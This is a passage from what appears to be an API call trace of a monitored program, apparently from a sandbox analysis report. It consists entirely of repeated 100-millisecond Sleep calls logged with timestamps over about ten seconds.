(dwMilliseconds=0x64) [0170.629] Sleep (dwMilliseconds=0x64) [0170.646] Sleep (dwMilliseconds=0x64) [0170.660] Sleep (dwMilliseconds=0x64) [0170.677] Sleep (dwMilliseconds=0x64) [0170.693] Sleep (dwMilliseconds=0x64) [0170.707] Sleep (dwMilliseconds=0x64) [0170.723] Sleep (dwMilliseconds=0x64) [0170.738] Sleep (dwMilliseconds=0x64) [0170.755] Sleep (dwMilliseconds=0x64) [0170.770] Sleep (dwMilliseconds=0x64) [0170.785] Sleep (dwMilliseconds=0x64) [0170.814] Sleep (dwMilliseconds=0x64) [0170.816] Sleep (dwMilliseconds=0x64) [0170.834] Sleep (dwMilliseconds=0x64) [0170.847] Sleep (dwMilliseconds=0x64) [0170.863] Sleep (dwMilliseconds=0x64) [0170.879] Sleep (dwMilliseconds=0x64) [0170.894] Sleep (dwMilliseconds=0x64) [0170.910] Sleep (dwMilliseconds=0x64) [0170.925] Sleep (dwMilliseconds=0x64) [0170.943] Sleep (dwMilliseconds=0x64) [0170.956] Sleep (dwMilliseconds=0x64) [0170.972] Sleep (dwMilliseconds=0x64) [0170.987] Sleep (dwMilliseconds=0x64) [0171.003] Sleep (dwMilliseconds=0x64) [0171.019] Sleep (dwMilliseconds=0x64) [0171.035] Sleep (dwMilliseconds=0x64) [0171.050] Sleep (dwMilliseconds=0x64) [0171.066] Sleep (dwMilliseconds=0x64) [0171.081] Sleep (dwMilliseconds=0x64) [0171.097] Sleep (dwMilliseconds=0x64) [0171.113] Sleep (dwMilliseconds=0x64) [0171.128] Sleep (dwMilliseconds=0x64) [0171.144] Sleep (dwMilliseconds=0x64) [0171.160] Sleep (dwMilliseconds=0x64) [0171.175] Sleep (dwMilliseconds=0x64) [0171.191] Sleep (dwMilliseconds=0x64) [0171.206] Sleep (dwMilliseconds=0x64) [0171.222] Sleep (dwMilliseconds=0x64) [0171.237] Sleep (dwMilliseconds=0x64) [0171.253] Sleep (dwMilliseconds=0x64) [0171.272] Sleep (dwMilliseconds=0x64) [0171.284] Sleep (dwMilliseconds=0x64) [0171.300] Sleep (dwMilliseconds=0x64) [0171.315] Sleep (dwMilliseconds=0x64) [0171.340] Sleep (dwMilliseconds=0x64) [0171.347] Sleep (dwMilliseconds=0x64) [0171.362] Sleep (dwMilliseconds=0x64) [0171.378] Sleep (dwMilliseconds=0x64) [0171.393] Sleep (dwMilliseconds=0x64) [0171.409] Sleep (dwMilliseconds=0x64) [0171.426] Sleep (dwMilliseconds=0x64) [0171.440] Sleep (dwMilliseconds=0x64) [0171.456] Sleep (dwMilliseconds=0x64) [0171.472] Sleep (dwMilliseconds=0x64) [0171.487] Sleep (dwMilliseconds=0x64) [0171.503] Sleep (dwMilliseconds=0x64) [0171.518] Sleep (dwMilliseconds=0x64) [0171.534] Sleep (dwMilliseconds=0x64) [0171.549] Sleep (dwMilliseconds=0x64) [0171.578] Sleep (dwMilliseconds=0x64) [0171.581] Sleep (dwMilliseconds=0x64) [0171.603] Sleep (dwMilliseconds=0x64) [0171.612] Sleep (dwMilliseconds=0x64) [0171.627] Sleep (dwMilliseconds=0x64) [0171.643] Sleep (dwMilliseconds=0x64) [0171.658] Sleep (dwMilliseconds=0x64) [0171.674] Sleep (dwMilliseconds=0x64) [0171.690] Sleep (dwMilliseconds=0x64) [0171.706] Sleep (dwMilliseconds=0x64) [0171.721] Sleep (dwMilliseconds=0x64) [0171.737] Sleep (dwMilliseconds=0x64) [0171.752] Sleep (dwMilliseconds=0x64) [0171.768] Sleep (dwMilliseconds=0x64) [0171.783] Sleep (dwMilliseconds=0x64) [0171.799] Sleep (dwMilliseconds=0x64) [0171.829] Sleep (dwMilliseconds=0x64) [0171.830] Sleep (dwMilliseconds=0x64) [0171.846] Sleep (dwMilliseconds=0x64) [0171.861] Sleep (dwMilliseconds=0x64) [0171.877] Sleep (dwMilliseconds=0x64) [0171.892] Sleep (dwMilliseconds=0x64) [0171.908] Sleep (dwMilliseconds=0x64) [0171.924] Sleep (dwMilliseconds=0x64) [0171.940] Sleep (dwMilliseconds=0x64) [0171.955] Sleep (dwMilliseconds=0x64) [0171.971] Sleep (dwMilliseconds=0x64) [0171.986] Sleep (dwMilliseconds=0x64) [0172.002] Sleep (dwMilliseconds=0x64) [0172.017] Sleep (dwMilliseconds=0x64) [0172.033] Sleep (dwMilliseconds=0x64) [0172.049] Sleep (dwMilliseconds=0x64) [0172.064] Sleep (dwMilliseconds=0x64) [0172.080] Sleep (dwMilliseconds=0x64) [0172.095] Sleep (dwMilliseconds=0x64) [0172.111] Sleep (dwMilliseconds=0x64) [0172.127] Sleep (dwMilliseconds=0x64) [0172.142] Sleep (dwMilliseconds=0x64) [0172.158] Sleep (dwMilliseconds=0x64) [0172.173] Sleep (dwMilliseconds=0x64) [0172.189] Sleep (dwMilliseconds=0x64) [0172.205] Sleep (dwMilliseconds=0x64) [0172.221] Sleep (dwMilliseconds=0x64) [0172.236] Sleep (dwMilliseconds=0x64) [0172.255] Sleep (dwMilliseconds=0x64) [0172.267] Sleep (dwMilliseconds=0x64) [0172.283] Sleep (dwMilliseconds=0x64) [0172.298] Sleep (dwMilliseconds=0x64) [0172.314] Sleep (dwMilliseconds=0x64) [0172.337] Sleep (dwMilliseconds=0x64) [0172.345] Sleep (dwMilliseconds=0x64) [0172.361] Sleep (dwMilliseconds=0x64) [0172.376] Sleep (dwMilliseconds=0x64) [0172.392] Sleep (dwMilliseconds=0x64) [0172.407] Sleep (dwMilliseconds=0x64) [0172.423] Sleep (dwMilliseconds=0x64) [0172.439] Sleep (dwMilliseconds=0x64) [0172.454] Sleep (dwMilliseconds=0x64) [0172.470] Sleep (dwMilliseconds=0x64) [0172.489] Sleep (dwMilliseconds=0x64) [0172.501] Sleep (dwMilliseconds=0x64) [0172.517] Sleep (dwMilliseconds=0x64) [0172.536] Sleep (dwMilliseconds=0x64) [0172.548] Sleep (dwMilliseconds=0x64) [0172.563] Sleep (dwMilliseconds=0x64) [0172.580] Sleep (dwMilliseconds=0x64) [0172.599] Sleep (dwMilliseconds=0x64) [0172.610] Sleep (dwMilliseconds=0x64) [0172.626] Sleep (dwMilliseconds=0x64) [0172.641] Sleep (dwMilliseconds=0x64) [0172.657] Sleep (dwMilliseconds=0x64) [0172.672] Sleep (dwMilliseconds=0x64) [0172.688] Sleep (dwMilliseconds=0x64) [0172.704] Sleep (dwMilliseconds=0x64) [0172.720] Sleep (dwMilliseconds=0x64) [0172.735] Sleep (dwMilliseconds=0x64) [0172.751] Sleep (dwMilliseconds=0x64) [0172.766] Sleep (dwMilliseconds=0x64) [0172.782] Sleep (dwMilliseconds=0x64) [0172.797] Sleep (dwMilliseconds=0x64) [0172.829] Sleep (dwMilliseconds=0x64) [0172.844] Sleep (dwMilliseconds=0x64) [0172.859] Sleep (dwMilliseconds=0x64) [0172.875] Sleep (dwMilliseconds=0x64) [0172.891] Sleep (dwMilliseconds=0x64) [0172.906] Sleep (dwMilliseconds=0x64) [0172.922] Sleep (dwMilliseconds=0x64) [0172.939] Sleep (dwMilliseconds=0x64) [0172.953] Sleep (dwMilliseconds=0x64) [0172.970] Sleep (dwMilliseconds=0x64) [0172.984] Sleep (dwMilliseconds=0x64) [0173.000] Sleep (dwMilliseconds=0x64) [0173.016] Sleep (dwMilliseconds=0x64) [0173.031] Sleep (dwMilliseconds=0x64) [0173.047] Sleep (dwMilliseconds=0x64) [0173.062] Sleep (dwMilliseconds=0x64) [0173.081] Sleep (dwMilliseconds=0x64) [0173.094] Sleep (dwMilliseconds=0x64) [0173.111] Sleep (dwMilliseconds=0x64) [0173.125] Sleep (dwMilliseconds=0x64) [0173.142] Sleep (dwMilliseconds=0x64) [0173.156] Sleep (dwMilliseconds=0x64) [0173.174] Sleep (dwMilliseconds=0x64) [0173.187] Sleep (dwMilliseconds=0x64) [0173.207] Sleep (dwMilliseconds=0x64) [0173.219] Sleep (dwMilliseconds=0x64) [0173.234] Sleep (dwMilliseconds=0x64) [0173.250] Sleep (dwMilliseconds=0x64) [0173.266] Sleep (dwMilliseconds=0x64) [0173.282] Sleep (dwMilliseconds=0x64) [0173.297] Sleep (dwMilliseconds=0x64) [0173.313] Sleep (dwMilliseconds=0x64) [0173.335] Sleep (dwMilliseconds=0x64) [0173.343] Sleep (dwMilliseconds=0x64) [0173.359] Sleep (dwMilliseconds=0x64) [0173.375] Sleep (dwMilliseconds=0x64) [0173.390] Sleep (dwMilliseconds=0x64) [0173.406] Sleep (dwMilliseconds=0x64) [0173.421] Sleep (dwMilliseconds=0x64) [0173.443] Sleep (dwMilliseconds=0x64) [0173.453] Sleep (dwMilliseconds=0x64) [0173.468] Sleep (dwMilliseconds=0x64) [0173.484] Sleep (dwMilliseconds=0x64) [0173.500] Sleep (dwMilliseconds=0x64) [0173.515] Sleep (dwMilliseconds=0x64) [0173.531] Sleep (dwMilliseconds=0x64) [0173.551] Sleep (dwMilliseconds=0x64) [0173.562] Sleep (dwMilliseconds=0x64) [0173.580] Sleep (dwMilliseconds=0x64) [0173.599] Sleep (dwMilliseconds=0x64) [0173.609] Sleep (dwMilliseconds=0x64) [0173.624] Sleep (dwMilliseconds=0x64) [0173.640] Sleep (dwMilliseconds=0x64) [0173.655] Sleep (dwMilliseconds=0x64) [0173.671] Sleep (dwMilliseconds=0x64) [0173.686] Sleep (dwMilliseconds=0x64) [0173.702] Sleep (dwMilliseconds=0x64) [0173.718] Sleep (dwMilliseconds=0x64) [0173.735] Sleep (dwMilliseconds=0x64) [0173.749] Sleep (dwMilliseconds=0x64) [0173.765] Sleep (dwMilliseconds=0x64) [0173.780] Sleep (dwMilliseconds=0x64) [0173.796] Sleep (dwMilliseconds=0x64) [0173.812] Sleep (dwMilliseconds=0x64) [0173.842] Sleep (dwMilliseconds=0x64) [0173.858] Sleep (dwMilliseconds=0x64) [0173.874] Sleep (dwMilliseconds=0x64) [0173.889] Sleep (dwMilliseconds=0x64) [0173.905] Sleep (dwMilliseconds=0x64) [0173.920] Sleep (dwMilliseconds=0x64) [0173.936] Sleep (dwMilliseconds=0x64) [0173.952] Sleep (dwMilliseconds=0x64) [0173.967] Sleep (dwMilliseconds=0x64) [0173.984] Sleep (dwMilliseconds=0x64) [0173.999] Sleep (dwMilliseconds=0x64) [0174.014] Sleep (dwMilliseconds=0x64) [0174.030] Sleep (dwMilliseconds=0x64) [0174.045] Sleep (dwMilliseconds=0x64) [0174.061] Sleep (dwMilliseconds=0x64) [0174.077] Sleep (dwMilliseconds=0x64) [0174.095] Sleep (dwMilliseconds=0x64) [0174.108] Sleep (dwMilliseconds=0x64) [0174.125] Sleep (dwMilliseconds=0x64) [0174.139] Sleep (dwMilliseconds=0x64) [0174.156] Sleep (dwMilliseconds=0x64) [0174.170] Sleep (dwMilliseconds=0x64) [0174.188] Sleep (dwMilliseconds=0x64) [0174.201] Sleep (dwMilliseconds=0x64) [0174.217] Sleep (dwMilliseconds=0x64) [0174.233] Sleep (dwMilliseconds=0x64) [0174.248] Sleep (dwMilliseconds=0x64) [0174.264] Sleep (dwMilliseconds=0x64) [0174.279] Sleep (dwMilliseconds=0x64) [0174.295] Sleep (dwMilliseconds=0x64) [0174.311] Sleep (dwMilliseconds=0x64) [0174.327] Sleep (dwMilliseconds=0x64) [0174.349] Sleep (dwMilliseconds=0x64) [0174.358] Sleep (dwMilliseconds=0x64) [0174.373] Sleep (dwMilliseconds=0x64) [0174.388] Sleep (dwMilliseconds=0x64) [0174.404] Sleep (dwMilliseconds=0x64) [0174.420] Sleep (dwMilliseconds=0x64) [0174.435] Sleep (dwMilliseconds=0x64) [0174.451] Sleep (dwMilliseconds=0x64) [0174.467] Sleep (dwMilliseconds=0x64) [0174.482] Sleep (dwMilliseconds=0x64) [0174.498] Sleep (dwMilliseconds=0x64) [0174.514] Sleep (dwMilliseconds=0x64) [0174.529] Sleep (dwMilliseconds=0x64) [0174.545] Sleep (dwMilliseconds=0x64) [0174.560] Sleep (dwMilliseconds=0x64) [0174.576] Sleep (dwMilliseconds=0x64) [0174.591] Sleep (dwMilliseconds=0x64) [0174.614] Sleep (dwMilliseconds=0x64) [0174.623] Sleep (dwMilliseconds=0x64) [0174.638] Sleep (dwMilliseconds=0x64) [0174.654] Sleep (dwMilliseconds=0x64) [0174.670] Sleep (dwMilliseconds=0x64) [0174.685] Sleep (dwMilliseconds=0x64) [0174.701] Sleep (dwMilliseconds=0x64) [0174.717] Sleep (dwMilliseconds=0x64) [0174.732] Sleep (dwMilliseconds=0x64) [0174.747] Sleep (dwMilliseconds=0x64) [0174.764] Sleep (dwMilliseconds=0x64) [0174.779] Sleep (dwMilliseconds=0x64) [0174.794] Sleep (dwMilliseconds=0x64) [0174.810] Sleep (dwMilliseconds=0x64) [0174.827] Sleep (dwMilliseconds=0x64) [0174.854] Sleep (dwMilliseconds=0x64) [0174.857] Sleep (dwMilliseconds=0x64) [0174.872] Sleep (dwMilliseconds=0x64) [0174.888] Sleep (dwMilliseconds=0x64) [0174.905] Sleep (dwMilliseconds=0x64) [0174.919] Sleep (dwMilliseconds=0x64) [0174.935] Sleep (dwMilliseconds=0x64) [0174.950] Sleep (dwMilliseconds=0x64) [0174.965] Sleep (dwMilliseconds=0x64) [0174.981] Sleep (dwMilliseconds=0x64) [0174.997] Sleep (dwMilliseconds=0x64) [0175.013] Sleep (dwMilliseconds=0x64) [0175.028] Sleep (dwMilliseconds=0x64) [0175.044] Sleep (dwMilliseconds=0x64) [0175.059] Sleep (dwMilliseconds=0x64) [0175.075] Sleep (dwMilliseconds=0x64) [0175.091] Sleep (dwMilliseconds=0x64) [0175.106] Sleep (dwMilliseconds=0x64) [0175.122] Sleep (dwMilliseconds=0x64) [0175.141] Sleep (dwMilliseconds=0x64) [0175.153] Sleep (dwMilliseconds=0x64) [0175.172] Sleep (dwMilliseconds=0x64) [0175.184] Sleep (dwMilliseconds=0x64) [0175.200] Sleep (dwMilliseconds=0x64) [0175.216] Sleep (dwMilliseconds=0x64) [0175.231] Sleep (dwMilliseconds=0x64) [0175.247] Sleep (dwMilliseconds=0x64) [0175.262] Sleep (dwMilliseconds=0x64) [0175.278] Sleep (dwMilliseconds=0x64) [0175.293] Sleep (dwMilliseconds=0x64) [0175.309] Sleep (dwMilliseconds=0x64) [0175.325] Sleep (dwMilliseconds=0x64) [0175.351] Sleep (dwMilliseconds=0x64) [0175.356] Sleep (dwMilliseconds=0x64) [0175.371] Sleep (dwMilliseconds=0x64) [0175.387] Sleep (dwMilliseconds=0x64) [0175.403] Sleep (dwMilliseconds=0x64) [0175.419] Sleep (dwMilliseconds=0x64) [0175.434] Sleep (dwMilliseconds=0x64) [0175.450] Sleep (dwMilliseconds=0x64) [0175.465] Sleep (dwMilliseconds=0x64) [0175.481] Sleep (dwMilliseconds=0x64) [0175.497] Sleep (dwMilliseconds=0x64) [0175.512] Sleep (dwMilliseconds=0x64) [0175.528] Sleep (dwMilliseconds=0x64) [0175.543] Sleep (dwMilliseconds=0x64) [0175.559] Sleep (dwMilliseconds=0x64) [0175.574] Sleep (dwMilliseconds=0x64) [0175.592] Sleep (dwMilliseconds=0x64) [0175.612] Sleep (dwMilliseconds=0x64) [0175.621] Sleep (dwMilliseconds=0x64) [0175.637] Sleep (dwMilliseconds=0x64) [0175.652] Sleep (dwMilliseconds=0x64) [0175.668] Sleep (dwMilliseconds=0x64) [0175.683] Sleep (dwMilliseconds=0x64) [0175.700] Sleep (dwMilliseconds=0x64) [0175.715] Sleep (dwMilliseconds=0x64) [0175.730] Sleep (dwMilliseconds=0x64) [0175.746] Sleep (dwMilliseconds=0x64) [0175.762] Sleep (dwMilliseconds=0x64) [0175.777] Sleep (dwMilliseconds=0x64) [0175.793] Sleep (dwMilliseconds=0x64) [0175.808] Sleep (dwMilliseconds=0x64) [0175.824] Sleep (dwMilliseconds=0x64) [0175.839] Sleep (dwMilliseconds=0x64) [0175.870] Sleep (dwMilliseconds=0x64) [0175.871] Sleep (dwMilliseconds=0x64) [0175.886] Sleep (dwMilliseconds=0x64) [0175.902] Sleep (dwMilliseconds=0x64) [0175.917] Sleep (dwMilliseconds=0x64) [0175.933] Sleep (dwMilliseconds=0x64) [0175.949] Sleep (dwMilliseconds=0x64) [0175.964] Sleep (dwMilliseconds=0x64) [0175.980] Sleep (dwMilliseconds=0x64) [0175.995] Sleep (dwMilliseconds=0x64) [0176.011] Sleep (dwMilliseconds=0x64) [0176.026] Sleep (dwMilliseconds=0x64) [0176.042] Sleep (dwMilliseconds=0x64) [0176.058] Sleep (dwMilliseconds=0x64) [0176.073] Sleep (dwMilliseconds=0x64) [0176.089] Sleep (dwMilliseconds=0x64) [0176.105] Sleep (dwMilliseconds=0x64) [0176.120] Sleep (dwMilliseconds=0x64) [0176.136] Sleep (dwMilliseconds=0x64) [0176.151] Sleep (dwMilliseconds=0x64) [0176.167] Sleep (dwMilliseconds=0x64) [0176.182] Sleep (dwMilliseconds=0x64) [0176.198] Sleep (dwMilliseconds=0x64) [0176.214] Sleep (dwMilliseconds=0x64) [0176.229] Sleep (dwMilliseconds=0x64) [0176.245] Sleep (dwMilliseconds=0x64) [0176.261] Sleep (dwMilliseconds=0x64) [0176.279] Sleep (dwMilliseconds=0x64) [0176.292] Sleep (dwMilliseconds=0x64) [0176.308] Sleep (dwMilliseconds=0x64) [0176.323] Sleep (dwMilliseconds=0x64) [0176.347] Sleep (dwMilliseconds=0x64) [0176.354] Sleep (dwMilliseconds=0x64) [0176.370] Sleep (dwMilliseconds=0x64) [0176.385] Sleep (dwMilliseconds=0x64) [0176.401] Sleep (dwMilliseconds=0x64) [0176.417] Sleep (dwMilliseconds=0x64) [0176.432] Sleep (dwMilliseconds=0x64) [0176.448] Sleep (dwMilliseconds=0x64) [0176.463] Sleep (dwMilliseconds=0x64) [0176.480] Sleep (dwMilliseconds=0x64) [0176.495] Sleep (dwMilliseconds=0x64) [0176.511] Sleep (dwMilliseconds=0x64) [0176.526] Sleep (dwMilliseconds=0x64) [0176.542] Sleep (dwMilliseconds=0x64) [0176.557] Sleep (dwMilliseconds=0x64) [0176.573] Sleep (dwMilliseconds=0x64) [0176.588] Sleep (dwMilliseconds=0x64) [0176.605] Sleep (dwMilliseconds=0x64) [0176.626] Sleep (dwMilliseconds=0x64) [0176.635] Sleep (dwMilliseconds=0x64) [0176.650] Sleep (dwMilliseconds=0x64) [0176.666] Sleep (dwMilliseconds=0x64) [0176.682] Sleep (dwMilliseconds=0x64) [0176.697] Sleep (dwMilliseconds=0x64) [0176.713] Sleep (dwMilliseconds=0x64) [0176.730] Sleep (dwMilliseconds=0x64) [0176.744] Sleep (dwMilliseconds=0x64) [0176.760] Sleep (dwMilliseconds=0x64) [0176.775] Sleep (dwMilliseconds=0x64) [0176.791] Sleep (dwMilliseconds=0x64) [0176.807] Sleep (dwMilliseconds=0x64) [0176.822] Sleep (dwMilliseconds=0x64) [0176.838] Sleep (dwMilliseconds=0x64) [0176.853] Sleep (dwMilliseconds=0x64) [0176.882] Sleep (dwMilliseconds=0x64) [0176.884] Sleep (dwMilliseconds=0x64) [0176.900] Sleep (dwMilliseconds=0x64) [0176.915] Sleep (dwMilliseconds=0x64) [0176.932] Sleep (dwMilliseconds=0x64) [0176.947] Sleep (dwMilliseconds=0x64) [0176.963] Sleep (dwMilliseconds=0x64) [0176.978] Sleep (dwMilliseconds=0x64) [0176.994] Sleep (dwMilliseconds=0x64) [0177.010] Sleep (dwMilliseconds=0x64) [0177.025] Sleep (dwMilliseconds=0x64) [0177.042] Sleep (dwMilliseconds=0x64) [0177.056] Sleep (dwMilliseconds=0x64) [0177.072] Sleep (dwMilliseconds=0x64) [0177.087] Sleep (dwMilliseconds=0x64) [0177.104] Sleep (dwMilliseconds=0x64) [0177.119] Sleep (dwMilliseconds=0x64) [0177.134] Sleep (dwMilliseconds=0x64) [0177.150] Sleep (dwMilliseconds=0x64) [0177.166] Sleep (dwMilliseconds=0x64) [0177.181] Sleep (dwMilliseconds=0x64) [0177.197] Sleep (dwMilliseconds=0x64) [0177.212] Sleep (dwMilliseconds=0x64) [0177.228] Sleep (dwMilliseconds=0x64) [0177.243] Sleep (dwMilliseconds=0x64) [0177.260] Sleep (dwMilliseconds=0x64) [0177.275] Sleep (dwMilliseconds=0x64) [0177.290] Sleep (dwMilliseconds=0x64) [0177.306] Sleep (dwMilliseconds=0x64) [0177.321] Sleep (dwMilliseconds=0x64) [0177.344] Sleep (dwMilliseconds=0x64) [0177.353] Sleep (dwMilliseconds=0x64) [0177.368] Sleep (dwMilliseconds=0x64) [0177.384] Sleep (dwMilliseconds=0x64) [0177.399] Sleep (dwMilliseconds=0x64) [0177.422] Sleep (dwMilliseconds=0x64) [0177.431] Sleep (dwMilliseconds=0x64) [0177.446] Sleep (dwMilliseconds=0x64) [0177.462] Sleep (dwMilliseconds=0x64) [0177.478] Sleep (dwMilliseconds=0x64) [0177.493] Sleep (dwMilliseconds=0x64) [0177.511] Sleep (dwMilliseconds=0x64) [0177.527] Sleep (dwMilliseconds=0x64) [0177.541] Sleep (dwMilliseconds=0x64) [0177.556] Sleep (dwMilliseconds=0x64) [0177.571] Sleep (dwMilliseconds=0x64) [0177.587] Sleep (dwMilliseconds=0x64) [0177.613] Sleep (dwMilliseconds=0x64) [0177.618] Sleep (dwMilliseconds=0x64) [0177.637] Sleep (dwMilliseconds=0x64) [0177.649] Sleep (dwMilliseconds=0x64) [0177.664] Sleep (dwMilliseconds=0x64) [0177.680] Sleep (dwMilliseconds=0x64) [0177.696] Sleep (dwMilliseconds=0x64) [0177.711] Sleep (dwMilliseconds=0x64) [0177.727] Sleep (dwMilliseconds=0x64) [0177.743] Sleep (dwMilliseconds=0x64) [0177.758] Sleep (dwMilliseconds=0x64) [0177.774] Sleep (dwMilliseconds=0x64) [0177.789] Sleep (dwMilliseconds=0x64) [0177.805] Sleep (dwMilliseconds=0x64) [0177.821] Sleep (dwMilliseconds=0x64) [0177.836] Sleep (dwMilliseconds=0x64) [0177.852] Sleep (dwMilliseconds=0x64) [0177.883] Sleep (dwMilliseconds=0x64) [0177.898] Sleep (dwMilliseconds=0x64) [0177.914] Sleep (dwMilliseconds=0x64) [0177.933] Sleep (dwMilliseconds=0x64) [0177.946] Sleep (dwMilliseconds=0x64) [0177.961] Sleep (dwMilliseconds=0x64) [0177.977] Sleep (dwMilliseconds=0x64) [0177.992] Sleep (dwMilliseconds=0x64) [0178.008] Sleep (dwMilliseconds=0x64) [0178.024] Sleep (dwMilliseconds=0x64) [0178.039] Sleep (dwMilliseconds=0x64) [0178.055] Sleep (dwMilliseconds=0x64) [0178.071] Sleep (dwMilliseconds=0x64) [0178.087] Sleep (dwMilliseconds=0x64) [0178.101] Sleep (dwMilliseconds=0x64) [0178.117] Sleep (dwMilliseconds=0x64) [0178.133] Sleep (dwMilliseconds=0x64) [0178.148] Sleep (dwMilliseconds=0x64) [0178.164] Sleep (dwMilliseconds=0x64) [0178.179] Sleep (dwMilliseconds=0x64) [0178.195] Sleep (dwMilliseconds=0x64) [0178.210] Sleep (dwMilliseconds=0x64) [0178.226] Sleep (dwMilliseconds=0x64) [0178.243] Sleep (dwMilliseconds=0x64) [0178.258] Sleep (dwMilliseconds=0x64) [0178.277] Sleep (dwMilliseconds=0x64) [0178.289] Sleep (dwMilliseconds=0x64) [0178.304] Sleep (dwMilliseconds=0x64) [0178.320] Sleep (dwMilliseconds=0x64) [0178.342] Sleep (dwMilliseconds=0x64) [0178.351] Sleep (dwMilliseconds=0x64) [0178.367] Sleep (dwMilliseconds=0x64) [0178.385] Sleep (dwMilliseconds=0x64) [0178.399] Sleep (dwMilliseconds=0x64) [0178.413] Sleep (dwMilliseconds=0x64) [0178.429] Sleep (dwMilliseconds=0x64) [0178.445] Sleep (dwMilliseconds=0x64) [0178.463] Sleep (dwMilliseconds=0x64) [0178.476] Sleep (dwMilliseconds=0x64) [0178.491] Sleep (dwMilliseconds=0x64) [0178.507] Sleep (dwMilliseconds=0x64) [0178.523] Sleep (dwMilliseconds=0x64) [0178.546] Sleep (dwMilliseconds=0x64) [0178.554] Sleep (dwMilliseconds=0x64) [0178.570] Sleep (dwMilliseconds=0x64) [0178.586] Sleep (dwMilliseconds=0x64) [0178.601] Sleep (dwMilliseconds=0x64) [0178.616] Sleep (dwMilliseconds=0x64) [0178.634] Sleep (dwMilliseconds=0x64) [0178.647] Sleep (dwMilliseconds=0x64) [0178.663] Sleep (dwMilliseconds=0x64) [0178.678] Sleep (dwMilliseconds=0x64) [0178.694] Sleep (dwMilliseconds=0x64) [0178.710] Sleep (dwMilliseconds=0x64) [0178.726] Sleep (dwMilliseconds=0x64) [0178.741] Sleep (dwMilliseconds=0x64) [0178.757] Sleep (dwMilliseconds=0x64) [0178.772] Sleep (dwMilliseconds=0x64) [0178.788] Sleep (dwMilliseconds=0x64) [0178.804] Sleep (dwMilliseconds=0x64) [0178.819] Sleep (dwMilliseconds=0x64) [0178.835] Sleep (dwMilliseconds=0x64) [0178.850] Sleep (dwMilliseconds=0x64) [0178.868] Sleep (dwMilliseconds=0x64) [0178.895] Sleep (dwMilliseconds=0x64) [0178.897] Sleep (dwMilliseconds=0x64) [0178.913] Sleep (dwMilliseconds=0x64) [0178.928] Sleep (dwMilliseconds=0x64) [0178.946] Sleep (dwMilliseconds=0x64) [0178.959] Sleep (dwMilliseconds=0x64) [0178.975] Sleep (dwMilliseconds=0x64) [0178.993] Sleep (dwMilliseconds=0x64) [0179.006] Sleep (dwMilliseconds=0x64) [0179.022] Sleep (dwMilliseconds=0x64) [0179.037] Sleep (dwMilliseconds=0x64) [0179.053] Sleep (dwMilliseconds=0x64) [0179.072] Sleep (dwMilliseconds=0x64) [0179.084] Sleep (dwMilliseconds=0x64) [0179.100] Sleep (dwMilliseconds=0x64) [0179.115] Sleep (dwMilliseconds=0x64) [0179.132] Sleep (dwMilliseconds=0x64) [0179.147] Sleep (dwMilliseconds=0x64) [0179.162] Sleep (dwMilliseconds=0x64) [0179.178] Sleep (dwMilliseconds=0x64) [0179.194] Sleep (dwMilliseconds=0x64) [0179.209] Sleep (dwMilliseconds=0x64) [0179.224] Sleep (dwMilliseconds=0x64) [0179.240] Sleep (dwMilliseconds=0x64) [0179.256] Sleep (dwMilliseconds=0x64) [0179.271] Sleep (dwMilliseconds=0x64) [0179.290] Sleep (dwMilliseconds=0x64) [0179.303] Sleep (dwMilliseconds=0x64) [0179.318] Sleep (dwMilliseconds=0x64) [0179.341] Sleep (dwMilliseconds=0x64) [0179.349] Sleep (dwMilliseconds=0x64) [0179.365] Sleep (dwMilliseconds=0x64) [0179.381] Sleep (dwMilliseconds=0x64) [0179.399] Sleep (dwMilliseconds=0x64) [0179.412] Sleep (dwMilliseconds=0x64) [0179.427] Sleep (dwMilliseconds=0x64) [0179.443] Sleep (dwMilliseconds=0x64) [0179.459] Sleep (dwMilliseconds=0x64) [0179.476] Sleep (dwMilliseconds=0x64) [0179.490] Sleep (dwMilliseconds=0x64) [0179.505] Sleep (dwMilliseconds=0x64) [0179.521] Sleep (dwMilliseconds=0x64) [0179.537] Sleep (dwMilliseconds=0x64) [0179.552] Sleep (dwMilliseconds=0x64) [0179.568] Sleep (dwMilliseconds=0x64) [0179.584] Sleep (dwMilliseconds=0x64) [0179.600] Sleep (dwMilliseconds=0x64) [0179.617] Sleep (dwMilliseconds=0x64) [0179.636] Sleep (dwMilliseconds=0x64) [0179.646] Sleep (dwMilliseconds=0x64) [0179.663] Sleep (dwMilliseconds=0x64) [0179.677] Sleep (dwMilliseconds=0x64) [0179.693] Sleep (dwMilliseconds=0x64) [0179.708] Sleep (dwMilliseconds=0x64) [0179.724] Sleep (dwMilliseconds=0x64) [0179.740] Sleep (dwMilliseconds=0x64) [0179.755] Sleep (dwMilliseconds=0x64) [0179.771] Sleep (dwMilliseconds=0x64) [0179.786] Sleep (dwMilliseconds=0x64) [0179.802] Sleep (dwMilliseconds=0x64) [0179.817] Sleep (dwMilliseconds=0x64) [0179.834] Sleep (dwMilliseconds=0x64) [0179.849] Sleep (dwMilliseconds=0x64) [0179.864] Sleep (dwMilliseconds=0x64) [0179.880] Sleep (dwMilliseconds=0x64) [0179.909] Sleep (dwMilliseconds=0x64) [0179.911] Sleep (dwMilliseconds=0x64) [0179.926] Sleep (dwMilliseconds=0x64) [0179.942] Sleep (dwMilliseconds=0x64) [0179.958] Sleep (dwMilliseconds=0x64) [0179.973] Sleep (dwMilliseconds=0x64) [0179.989] Sleep (dwMilliseconds=0x64) [0180.004] Sleep (dwMilliseconds=0x64) [0180.020] Sleep (dwMilliseconds=0x64) [0180.036] Sleep (dwMilliseconds=0x64) [0180.051] Sleep (dwMilliseconds=0x64) [0180.067] Sleep (dwMilliseconds=0x64) [0180.083] Sleep (dwMilliseconds=0x64) [0180.100] Sleep (dwMilliseconds=0x64) [0180.114] Sleep (dwMilliseconds=0x64) [0180.130] Sleep (dwMilliseconds=0x64) [0180.145] Sleep (dwMilliseconds=0x64) [0180.161] Sleep (dwMilliseconds=0x64) [0180.176] Sleep (dwMilliseconds=0x64) [0180.194] Sleep (dwMilliseconds=0x64) [0180.208] Sleep (dwMilliseconds=0x64) [0180.226] Sleep (dwMilliseconds=0x64) [0180.239] Sleep (dwMilliseconds=0x64) [0180.254] Sleep (dwMilliseconds=0x64) [0180.270] Sleep (dwMilliseconds=0x64) [0180.285] Sleep (dwMilliseconds=0x64) [0180.301] Sleep (dwMilliseconds=0x64) [0180.317] Sleep (dwMilliseconds=0x64) [0180.339] Sleep (dwMilliseconds=0x64) [0180.348] Sleep (dwMilliseconds=0x64) [0180.370] Sleep (dwMilliseconds=0x64) [0180.379] Sleep (dwMilliseconds=0x64) [0180.395] Sleep (dwMilliseconds=0x64) [0180.410] 